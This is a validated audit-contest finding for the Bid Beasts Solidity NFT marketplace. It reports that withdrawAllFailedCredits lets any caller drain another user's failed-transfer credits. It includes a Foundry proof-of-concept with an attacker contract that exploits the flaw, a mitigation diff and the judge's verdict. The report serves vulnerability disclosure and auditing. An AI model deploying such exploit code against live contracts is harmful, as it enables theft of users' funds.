Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Bidders can withdraw more funds than the protocol owe them by querying another user's balance.

Root + Impact

Bidders can withdraw more funds than the protocol owe them by querying another user's balance.

Description

When new higher bids are placed on an NFT in the market, the previous highest bidder is refunded and the new bidder becomes the highest bidder. If the transfer of funds fail, the protocol provides a means for user to withdraw their funds themselves, by calling the withdrawAllFailedCredits function, which essentialy tries to send to the intended _receiver. However there is logic error in that the balance of the passesd-in _receiver is queried instead of msg.sender. This enables user to receive an ether anount that belongs to another to another user, and essentially steal from the protocol.

function withdrawAllFailedCredits(address _receiver) external {
// This gets the balance of whichever account is passed in.
uint256 amount = failedTransferCredits[_receiver];
.
.
.
}
https://github.com/CodeHawks-Contests/2025-09-bid-beasts/blob/449341c55a57d3f078d1250051a7b34625d3aa04/src/BidBeastsNFTMarketPlace.sol#L239

Risk

Likelihood:

  • Reason 1 : It happens whenever any user wants to withdraw a failed credit

Impact:

  • Users can steal funds from the protocol

  • Users can wreck the protocol as the queried amount is never cleared and can be withdrawn until the protocol bankrupts.

Proof of Concept

  • The smart contract places a bid on an NFT

  • Reverts when refunded

  • and withdraw another user's amount which is more than it's owed
    Place the following code in BidBeastsNFTMarketTest.t.sol

function testCanWithdrawMoreThanDeserved() public warmMarket {
address attacker = makeAddr("attacker");
vm.deal(attacker, 2 ether);
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 0.1 ether}(TOKEN_ID);
vm.startPrank(attacker);
GriefBidder grief = new GriefBidder{value: 2 ether}(address(market));
grief.buyNftNow(TOKEN_ID);
vm.stopPrank();
vm.startPrank(BIDDER_2);
Bidder bidder = new Bidder{value: 4 ether}(address(market));
bidder.buy(TOKEN_ID);
vm.stopPrank();
vm.prank(BIDDER_1);
market.placeBid{value: market.getListing(TOKEN_ID).buyNowPrice}(TOKEN_ID);
vm.prank(attacker);
grief.pwn(address(bidder));
assertEq(address(grief).balance, 4 ether);
}
contract GriefBidder {
BidBeastsNFTMarket market;
constructor(address _market) payable {
market = BidBeastsNFTMarket(_market);
}
function buyNftNow(uint256 tokenId) public {
market.placeBid{value: 2 ether}(tokenId);
}
function pwn(address _address) public {
market.withdrawAllFailedCredits(_address);
}
receive() external payable {
if (msg.value <= 2 ether) {
revert();
}
}
}

Recommended Mitigation

Refactor withdrawAllFailedCredits to reflect these changes:

function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!